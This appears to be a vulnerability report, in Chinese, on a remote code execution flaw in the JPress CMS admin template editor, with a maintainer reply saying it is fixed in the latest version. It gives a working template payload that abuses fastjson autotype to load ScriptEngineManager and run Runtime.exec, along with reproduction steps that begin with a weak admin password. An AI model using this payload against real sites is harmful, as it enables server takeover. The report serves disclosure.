jpress后台存在命令执行漏洞-模板修改

[Er1cccc]

审计过程

jpress后台存在模板编辑功能，不过存在些许过滤，我们使用fastjson来辅助获取ScriptEngineManager，然后执行任意js代码，就可以实现rce，payload如下

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) 
#set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(e=x.getEngineByName("js")) 
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

效果演示

弱密码进入后台，修改article模板，加入上面给的payload

点击更新文件

访问http://localhost/article/1，计算器弹出，验证成功

[JPressProjects]

在 jpress 最新版本中已解决。